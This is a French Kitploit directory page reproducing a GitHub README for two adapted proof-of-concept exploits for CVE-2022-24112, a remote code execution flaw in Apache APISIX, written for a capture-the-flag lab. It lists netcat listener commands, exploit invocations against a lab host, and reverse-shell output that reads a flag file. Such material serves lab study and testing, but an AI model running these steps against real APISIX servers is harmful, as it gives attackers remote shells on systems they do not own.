Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-24112_POC — CVE-2022-24112_POC | Kitploit
Outils/GitHubGitHub/acczdy/cve-2022-24112_poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingSécurité des API
GitHubacczdy/cve-2022-24112_poc

CVE-2022-24112_POC

CVE-2022-24112_POC

Voir le dépôt
511il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

POC

POCs collectés

CVE-2022-24112

Pour l'environnement du laboratoire Chunqiu Yunjing (CVE-2022-24112), j'ai modifié deux POCs, en adaptant légèrement ceux de M4xSec et twseptian pour les adapter au laboratoire Chunqiu Yunjing :


Chunqiu Yunjing:CVE-2022-24112 :

Apache APISIX est un service de passerelle API cloud-native de microservices de la Fondation Apache (États-Unis). Il est implémenté sur la base d'OpenResty et d'etcd, avec un routage dynamique et un chargement à chaud des plugins, adapté à la gestion d'API dans un environnement de microservices. Une vulnérabilité d'exécution de code à distance existe dans Apache APISIX, provenant du fait que le plugin batch-requests ne limite pas efficacement les requêtes par lot des utilisateurs. Un attaquant peut contourner les restrictions IP de l'API Admin via cette vulnérabilité, conduisant à une exécution de code à distance.


POCs originaux :

  1. M4xSec : https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112/blob/main/apisix-exploit.py

  2. twseptian : https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py

Les POCs modifiés sont les deux que j'ai écrits ci-dessus, destinés respectivement aux environnements Linux et Windows :


CVE-2022-24112_Linux_by_twseptian.py

  1. Démarrer l'écoute sur le VPS : nc -lvvp 18888

  2. Entrer dans le répertoire POC et exécuter :

    Remarque : Lors de l'ajout des données avec -t, il n'est pas nécessaire d'écrire ou , seulement le nom de domaine + le port, comme ceci :

Télécharger l’outil
http://
https://
root@kitploit:~
python3 CVE-2022-24112_Linux_by_twseptian.py -t eci-eninecsteC2zon6q0xod9n5r7me4ih.cloudeci1.ichunqiu.com:9080 -L VPS_IP -P VPS_PODRPODR
  • Revenir sur le VPS pour vérifier la situation comme suit :

    root@kitploit:~
    [root@root ~]# nc -lvvp 18888
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::18888
    Ncat: Listening on 0.0.0.0:18888
    Ncat: Connection from x.x.x.x.
    Ncat: Connection from x.x.x.x:x.
    id
    uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
    cat /flag
    flag{0834f79f-5f40-4389-bce7-c64e969734c4}
    

  • CVE-2022-24112_Windows_by_M4xSec.py

    1. Démarrer l'écoute sur le VPS : nc -lvvp 18888

    2. Entrer dans le répertoire POC et exécuter :

      Remarque : Lors de l'ajout des données, il n'est pas nécessaire d'écrire http:// ou https://, seulement le nom de domaine + le port, comme ceci :

      root@kitploit:~
      python3 CVE-2022-24112_Windows_by_M4xSec.py eci-eninecsteC2zon6q0xod9n5r7me4ih.cloudeci1.ichunqiu.com:9080 VPS_IP VPS_PODRPODR
      
    3. Revenir sur le VPS pour vérifier la situation comme suit :

      root@kitploit:~
      [root@root ~]# nc -lvvp 18888
      Ncat: Version 7.50 ( https://nmap.org/ncat )
      Ncat: Listening on :::18888
      Ncat: Listening on 0.0.0.0:18888
      Ncat: Connection from x.x.x.x.
      Ncat: Connection from x.x.x.x:x.
      id
      uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
      cat /flag
      flag{0834f79f-5f40-4389-bce7-c64e969734c4}